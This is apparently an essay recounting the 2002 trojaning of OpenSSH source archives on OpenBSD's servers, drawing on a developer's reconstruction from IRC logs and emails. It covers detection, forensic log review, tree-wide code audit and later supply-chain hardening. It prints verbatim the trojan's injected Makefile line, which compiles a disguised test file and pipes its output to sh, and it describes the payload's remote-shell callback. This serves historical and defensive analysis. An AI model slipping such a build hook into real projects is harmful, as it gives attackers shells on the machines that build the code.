When the Supply Chain Broke Before We Had a Name for It: Revisiting the 2002 OpenSSH Trojan

Miod Vallat, a longtime OpenBSD developer, has published a remarkable firsthand account of the August 2002 incident in which the OpenSSH source archives on OpenBSD's FTP servers were replaced with trojaned versions. The narrative is assembled from contemporaneous IRC logs, private messages, and emails, and it captures something that polished retrospectives almost always sand away: the texture of an emergency handled by tired people across many timezones, with incomplete information and no playbook to follow. The original security advisory still lives online, as does the mirror at openssh.org, but the story behind it is far richer than the four terse sections of the advisory suggest.

The central argument that emerges from reading Vallat's reconstruction is that the 2002 OpenSSH compromise was a supply chain attack in everything but name, and that the methods used to detect, contain, and reason about it anticipated nearly every concern that now dominates discussions of software distribution integrity. What looked at the time like a crude, almost embarrassing intrusion turns out to be an early and instructive example of how trust propagates through mirrors, build scripts, and developer credentials, and how fragile that trust can be when any single link gives way.

The shape of the attack

The mechanics were elegant in their simplicity. The attackers added a single file, bf-test.c, masquerading as a test harness for the Blowfish cipher, and inserted one line into the Makefile that would compile and execute it during the build. That line, @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &, did not tamper with the resulting ssh or sshd binaries at all. Instead, it weaponized the act of compilation itself. Building the trojaned source produced a small C program that opened a connection to a machine in Melbourne, Australia, on port 6667, the port normally associated with IRC traffic, and waited for one of three commands: kill the exploit, sleep for an hour, or spawn a shell. Anyone who compiled OpenSSH as root during the window between July 30th and August 1st handed root on their machine to whoever controlled that remote address.

This is worth sitting with, because it inverts the intuition most people have about backdoored software. The compromise lived in the build process, not the shipped artifact. As OpenBSD developer Damien Miller (djm) noted with evident frustration in the logs, this was, by his reckoning, the dumbest trojan he had ever seen. You had write access to the source distribution and the best you could manage was a build-time payload that left the PGP signature untouched and therefore guaranteed its own detection. Dug Song, who had previously dealt with the same family of backdoors in dsniff, fragroute, irssi, and BitchX, read the signature differently. The crude, attention-grabbing style was the calling card of a specific set of intrusions, and nobody serious about quietly backdooring OpenSSH would have done it this way.

Containment as improvisation

The most human and the most technically interesting part of the account is the containment effort, because it shows experts reasoning under genuine uncertainty. When Vallat tried to neutralize the trojaned files by running chmod 000 on them, he assumed this would stop the FTP mirrors from fetching them. Theo de Raadt's reaction in the logs, in characteristic all-caps, makes clear that this assumption was wrong: removing read permissions does not cause a file to disappear from downstream mirrors, it simply causes the mirroring process to skip it while leaving already-propagated copies in place. The lesson Vallat draws is concrete and almost procedural. To force mirrors to delete a poisoned file rather than skip it, you move it into a new directory and make both the file and the directory unreadable, so the mirror sees the path vanish rather than become inaccessible.

The forensic core of the response was equally hands-on. With the source archives living in a group-writable directory, the set of accounts that could have planted the files was small, mostly OpenSSH developers plus Theo and root. Vallat split the authlog files by account and then by source IP address, then mailed each of the 93 developers a list of the addresses their accounts had logged in from over the previous two months, asking each person to confirm or repudiate them. This is, in essence, manual anomaly detection driven by human knowledge that no automated system possessed: which IP belonged to a hotel room at the Marriott in Monterey during Usenix, which was Denver airport WaveLAN, which was a developer's home cable modem. The compromise of the account referred to as dev2 was confirmed when one of these logs showed an Accepted publickey login from the exact IP address the trojan phoned home to. The account called dev1 was caught a different way, through password authentication from a Finnish host the developer had never visited, despite a password longer than twenty characters and a passphrase-protected private key.

That detail, two careful developers with long passwords and protected keys both compromised, drove much of the anxiety in the logs. If strong credentials and ssh-agent were not enough, then either someone was exploiting an unknown vulnerability in OpenSSH or in the Apache server running on the base system, or the agent itself was being abused. The probable answer, surfaced in Vallat's closing reflection, is that both developers attended Usenix 2002 in June, where the prevailing OpenSSH codebase carried a privilege escalation bug that privilege separation, introduced shortly afterward in OpenSSH 3.3, was designed to mitigate. The exact vector was never established with certainty, which is itself an honest and unusual thing for an incident writeup to admit.

A coordinated review of an entire tree

Because the attackers had demonstrably reached cvs.openbsd.org, not merely the FTP server, the team could not assume the source repository itself was clean. The response was a collective, eyes-on review of every diff between the 3.1 release and the current tree. Art Grabowski's exasperated observation that someone could hide the Hindenburg in binutils and nobody would notice captures the scale of the problem precisely. The in-tree copy of GNU binutils had just been upgraded from 2.10.1 to 2.11.2, sendmail and texinfo carried large vendor diffs, and the total was tens of megabytes of changes that had to be read by human beings looking for a needle that might not exist. The deliberate redundancy, with multiple people reading the same code and Grabowski insisting others generate their own diffs rather than trust his, is a textbook expression of the principle that integrity verification should not itself depend on a single point of trust.

There is a quietly funny moment in the middle of this grind when Grabowski finds a change that reorders the arguments to memset, memset(frag_now, SIZEOF_STRUCT_FRAG, 0) rewritten to memset(frag_now, 0, SIZEOF_STRUCT_FRAG), and the team realizes it was just a botched conversion from bzero, not an attack. The relief and the bug-hunting instinct are indistinguishable in that exchange, which is exactly what deep code review under threat feels like.

Why it still matters

The implications of this episode have only grown more relevant. Vallat names the modern frame explicitly in his closing: nowadays these would be described as supply chain attacks. In 2002 the idea that the dangerous moment was not running the binary but running the configure script or the Makefile was novel, and the response shaped OpenBSD's engineering for years. The project moved port builds to regenerate configure scripts from their readable configure.in or configure.ac sources rather than execute the opaque shipped versions, precisely to avoid running untrusted code during configuration. Builds shifted toward a least-privilege model where everything short of actual file installation runs as an unprivileged user. Deliverables are now cryptographically signed with the signify tool, a deliberately minimal design. Developer access on the CVS server was partitioned into finer groups so that a single compromised account could not touch files unrelated to that developer's work, and the internal network was segmented so that build machines could not freely reach systems holding sensitive data.

These countermeasures map almost one to one onto the recommendations that circulate today in the wake of incidents like the xz/liblzma backdoor of 2024, which also hid in the build tooling rather than the obvious source and also exploited the gap between what a human reads and what a machine executes. The 2002 discussion even reached for the same structural remedy that Git would later embody. The developers asked whether any version control system existed where tampering with the repository would be cryptographically detectable, and concluded that none did, with the promising but unfinished OpenCM project being the closest thing in the free software world. The content-addressed, hash-chained model that Git made ubiquitous a few years later is, in retrospect, the direct answer to the question they could not yet answer.

The counter-perspective the logs themselves contain

What keeps this from being a simple morality tale about vigilance is that the OpenBSD developers argued, in real time, about how seriously to take the attacker. One camp, voiced by Vallat and others, was inclined to read the crudeness of the trojan as evidence of a script kiddie who got lucky and had no idea what to do with privileged access to the project's infrastructure. The opposing view, pressed by Henning Brauer and agreed to by Vallat himself, was that assuming the attacker was stupid is the dangerous assumption, the one that lets a careful adversary hide behind an obvious decoy. The detail that the FTP advisory, reinforced by a separate writeup, led much of the public to believe the Solaris FTP server had been compromised rather than the OpenBSD CVS box was treated as a welcome diversion, since it pointed scrutiny away from the actually breached system. Whether that misdirection was the attacker's design or merely a happy accident is left genuinely open.

That tension, between reading the evidence at face value and assuming a more capable hand behind the obvious one, is the enduring intellectual content of the story. The OpenBSD team got lucky, by their own admission, because the intruders apparently did not know what to do with two compromised developer accounts and a window into the source tree. But the discipline of their response did not depend on that luck. They published a public advisory within hours, they verified every artifact against independently retrieved copies from a Swedish mirror that had not yet pulled the poisoned files, and they read the entire tree by hand because no tool could do it for them. Vallat's wry final question, whether OpenBSD should add an "only one supply chain attack, in a heck of a long time" line to its front page alongside its famous record on remote holes, is a fitting close. The boast would be earned, but the real lesson is in how much deliberate, unglamorous human effort it took to be able to make it.